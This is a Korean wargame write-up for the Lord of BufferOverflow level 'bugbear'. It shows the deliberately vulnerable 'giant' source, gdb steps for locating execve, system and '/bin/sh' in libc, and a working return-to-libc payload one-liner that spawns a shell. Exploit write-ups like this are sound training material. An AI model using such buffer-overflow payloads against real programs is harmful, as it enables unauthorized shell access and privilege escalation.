[LOB] bugbear
bugbear로 로그인하니 이제 giant파일이 있다.
이번에도 저번처럼 RTL을 이용한 문제인 거 같다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(int argc, char *argv[])
{
char buffer[40];
FILE *fp;
char *lib_addr, *execve_offset, *execve_addr;
char *ret;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// gain address of execve
fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "(%x)", &lib_addr);
fclose(fp);
fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "%x", &execve_offset);
fclose(fp);
execve_addr = lib_addr + (int)execve_offset;
// end
memcpy(&ret, &(argv[1][44]), 4);
if(ret != execve_addr)
{
printf("You must use execve!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
이번에도 RTL을 이용해서 문제를 풀어야 하고,
코드를 확인해 보니까 ret 주소와 execve함수의 주소와 비교를 하고 일치하지 않으면 종료된다.
☞ execve 함수를 이용해서 문제를 풀어야 할거 같다.
1. RET부분을 execve함수로 바꿔서 문제를 풀기 위해서 execve구조에 대해서 찾아보았다.
execve 함수의 구조를 보면
int execve(const char *filename, char *const argv[], char *const envp[]);
☞ execve(&"/bin/sh", 배열&{"/bin/sh",NULL}의 주소, NULL)
▶execve로 문제를 해결한 분 : https://devanix.tistory.com/149
execve로 문제를 풀기 위해서는 execve함수 자체에 대해서 알아야 할 것도 많고 많이 복잡해져서
RTL한 execve의 RET에 system함수로 한 번 더 RTL 하여 문제를 해결한 풀이이다 ...
2. stack 구조 확인하기
sub $0x3c, %esp를 통해서 변수를 할당하기 위해 60bytes가 할당되었고,
변수들이 buffer 40bytes, 포인터 5개 20bytes로 dummy값이 딱 일치했다.
그러면, 위와 같은 모양의 stack구조가 완성된다.
그리고 RTL기법을 이용해서 기존 main함수의 RET 부분을 execve함수주소로 바꾸고 execve함수의 RET와 인지값을 넣으면 대략 아래와 같이 된다.
추가로 execve함수의 RET부분을 다시 system함수주소를 넣어서 인자를 구성하면 아래와 같다.
페이로드를 만들기 위해서 정리를 하면 아래와 같다.
buffer+sfp (44bytes)
+ execve 주소(4bytes)
+ system 주소(4bytes)
+ system RET(4bytes) > duumy값
+ /bin/sh 주소(4bytes)
3. 함수(execve, system, /bin/sh) 주소 구하기
giant 파일에서 사용한 라이브러리 확인하기. ldd(list dynamic dependencies) 이용
$ ldd ./giant
☞ /lib/libc.so.6 라이브러리 확인
$ strings -tx /lib/libc.so.6 | grep "/bin/sh"
$gdb -q /lib/libc.so.6
(gdb) print execve ☞ 0x91d48 라이브러리상 위치
(gdb) p/x 0xe3ff9(/bin/sh) - 0x91d48(execve) = 0x522b1(offset)
* offset : /bin/sh과 execve 상의 간격으로 라이브러리 내에서 주소는 달라도 간격은 어디서든 같기 때문에 giant 파일 내에서도 주소는 달라도 offset은 일치
$gdb giant
(gdb) b *main
(gdb) run
(gdb) print execve ☞ 0x400a9d48
(gdb) p/x 0x400a9d48(execve) + 0x522b1(offset) = 0x400fbff9(/bin/sh)
* execve 주소에 execve과 /bin/sh간의 간격을 에 더하면 /bin/sh 주소를 알 수 있다.
(gdb) print system ☞ 0x40058ae0
이제 찾은 함수 주소들을 조합하여 페이로드를 작성하자
1) execve 주소 : 0x400a9d48
2) system 주소 : 0x40058ae0
3) /bin/sh 주소 : 0x400fbff9
./giant "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`"
* 주소 안에 "\x0a"이 있으면 개행문자로 인식이 되어 주소가 안 먹는다. 그러면 전체에 " "(따옴표)를 넣으면 해결된다.
성공!